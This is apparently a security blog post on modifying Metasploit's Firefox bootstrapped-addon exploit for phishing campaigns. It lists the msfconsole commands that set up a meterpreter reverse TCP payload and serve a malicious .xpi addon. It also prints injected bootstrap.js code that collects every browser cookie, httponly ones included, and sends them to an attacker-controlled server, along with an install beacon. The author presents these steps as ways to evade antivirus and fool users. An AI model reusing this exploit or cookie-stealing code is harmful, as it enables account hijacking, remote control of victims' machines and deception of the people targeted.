I have been modifying the firefox_xpi_bootstrapped_addon exploit of Metasploit to add some new skills that were necessary to make it more real (for SE) and successful.
From the beginning:
Firefox uses .xpi extensions, in this case uses the restless method, which is able to install the addon and execute it without rebooting the browser.
Here you have more info about the Mozilla Bootstrap addons.
Signatures not required |
The bad news:
The last versions of Firefox have the xpinstall.signatures.required flag enabled, and we have to disable it if we want to execute unsigned ones. So by default it’s only possible to execute addons signed by Mozilla (previous review).
The worst news:
In future versions of Firefox it will not be possible to disable the signatures, and only Mozilla signed addons could be executed.
The good news:
Special versions of Firefox ESR will still have the xpinstall flag in the about:config.
Many companies disable it to execute their own plugins. (In this case Mozilla offers the possibility to sign it and store it in a local repository, not the public market)
Here you have more info about the signatures and versions.
This is the MSF exploit that we are going to use:
1 2 3 4 5 6 7 8 |
use exploit/multi/browser/firefox_xpi_bootstrapped_addon set payload windows/meterpreter/reverse_tcp_rc4 set lhost 192.168.0.102 set lport 4444 set rc4password pepe set addonname addon_name set uripath addon run |
Once executed it creates a webserver with the plugin
1 2 3 4 5 6 |
root@kali:~/Desktop/blog# msfconsole -r addon_windows [*] Exploit running as background job. [*] Started reverse TCP handler on 192.168.0.102:4444 [*] Using URL: http://0.0.0.0:8080/addon [*] Local IP: http://192.168.0.102:8080/addon [*] Server started.<span style="color: #005fd2; font-size: x-small;" data-mce-style="color: #005fd2; font-size: x-small;"></span> |
Downloading and unziping the addon
1 2 3 4 5 6 7 8 9 10 11 12 13 |
msf exploit(firefox_xpi_bootstrapped_addon) > wget http://192.168.0.102:8080/addon/addon.xpi addon.xpi 100%[===================>] 2.98K --.-KB/s in 0s 2017-02-07 17:04:01 (269 MB/s) - �addon.xpi’ saved [3047/3047] msf exploit(firefox_xpi_bootstrapped_addon) > exit [*] Server stopped. root@kali:~/Desktop/blog# ls addon_windows addon.xpi root@kali:~/Desktop/blog# unzip addon.xpi Archive: addon.xpi inflating: bootstrap.js inflating: chrome.manifest inflating: install.rdf inflating: overlay.xul |
Now the funny part, what we want to do?
– We want to know when the user executes the addon.
– We want to get all his cookies (all the cookies of the browser, doesn’t matter if they have httponly).
Why?
– Because in a phishing attack, it will be very suspicious to execute a plugin that doesn’t do anything. Once the user installs it, we set a cookie that the Javascript code in the client side will read and make some action.
– Because it’s very powerful getting all the cookies in that easy way, and at least we could still have them in the worst case that the RCE exploit fails for any reason.
We are not going to explain all the Metasploit payload, just the code we added.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
/* Added MT */ const {classes: Cc, interfaces: Ci, utils: Cu} = Components; const request = Cu.import('resource://gre/modules/Http.jsm').httpRequest; Components.utils.import("resource://gre/modules/Services.jsm"); /* Added MT */ function startup(data, reason) { /* Added MT */ var cookieService = Services.cookies; let cookieEnumerator = cookieService.getCookiesFromHost('xxxxx.com'); let cookiee = cookieEnumerator.getNext().QueryInterface(Ci.nsICookie2); let totalcookies = ''; let options = {method: "GET"}; while (cookieEnumerator.hasMoreElements()) { let cookiee = cookieEnumerator.getNext().QueryInterface(Ci.nsICookie2); let cookieall = "host=" + cookiee.host + "&" + cookiee.name + "=" + cookiee.value; //Services.prompt.alert(null, "Title", cookieall); httpRequest("http://192.168.0.102:4040/cookies.php?" + cookieall, options); } var expires = ((new Date()).getTime() / 1000) + 60 * 60 * 224; //today + 224hours cookieService.add('192.168.0.101', '/', 'addoinst', 'yes', false, false, false, expires); let cookie = 'status=OK2'; httpRequest("http://192.168.0.102:4040/status.php?" + cookie, options); /* Added MT */ |
– In firs place we enumerate all the cookies of the selected domain, and we send them via GET to our external server. It could be also possible to concatenate all of them and send it via POST. (In this case all the user cookies are sent by HTTP so it’s not recommendable at all to use unsecure protocols)
– We create a cookie to be checked by the JavaScript code on client side.
– We also send a request to the server to know that this user executed the plugin.
With this little tricks it’s easy to evade AV as it’s executed on Firefox directly and the stage is encrypted with RC4, it’s easy to fool the users as you can make post execution actions, and easy to get all the cookies as a bonus.
The code works well, but we have not tested it very hard, so we are not responsible for any misuse.